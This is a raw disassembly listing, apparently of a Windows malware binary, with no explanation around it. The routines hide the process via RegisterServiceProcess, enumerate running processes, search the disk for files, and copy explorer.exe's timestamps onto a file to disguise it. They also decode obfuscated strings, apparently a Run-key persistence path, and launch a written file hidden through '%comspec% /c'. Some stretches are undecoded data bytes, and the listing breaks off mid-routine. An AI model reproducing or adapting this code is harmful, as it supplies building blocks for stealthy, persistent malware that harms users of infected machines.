loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		nop
		call	near ptr 285053Ah
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 285053Ah
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880B1Ah
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, dword_4470A0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_44709C
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F68
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_447098, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F70
		push	eax
		xor	ebp, ebp
		mov	dword_446F70, 128h
		call	dword_44709C	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446F94
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446F94
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446F94
		add	edx, ecx
		push	edx
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446F94
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446F94
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_447098
		push	offset dword_446F70
		push	eax
		call	dword_446F68	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_447098
		push	ecx
		nop
		call	near ptr 28308B0h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2890D62h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 2890920h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2890000h
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		call	near ptr 27E0A09h
		nop
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		call	near ptr 2880B1Ah
		nop
		push	eax
		nop
		call	near ptr 2880000h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27D0796h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470A4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470A0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44709C, eax
		call	edi
		mov	dword_446F68, eax
		mov	eax, dword_4470A4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44718F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	28680000h, 5100443Bh, 0C90BE890h
		dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 42270BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 6DE80000h, 90023E26h, 874C085h, 0E890006Ah
		dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_447191
		test	al, al
		jz	short loc_40DB24
		push	offset word_447192
		call	near ptr 27E07B4h
		nop


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880B1Ah
		push	eax
		nop
		call	near ptr 2880000h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27C0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 285032Bh
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 27D0000h
		nop
		push	esi
		call	near ptr 28308B0h
		nop
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	near ptr 2880B1Ah
		nop
		push	eax
		nop
		call	near ptr 2880000h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
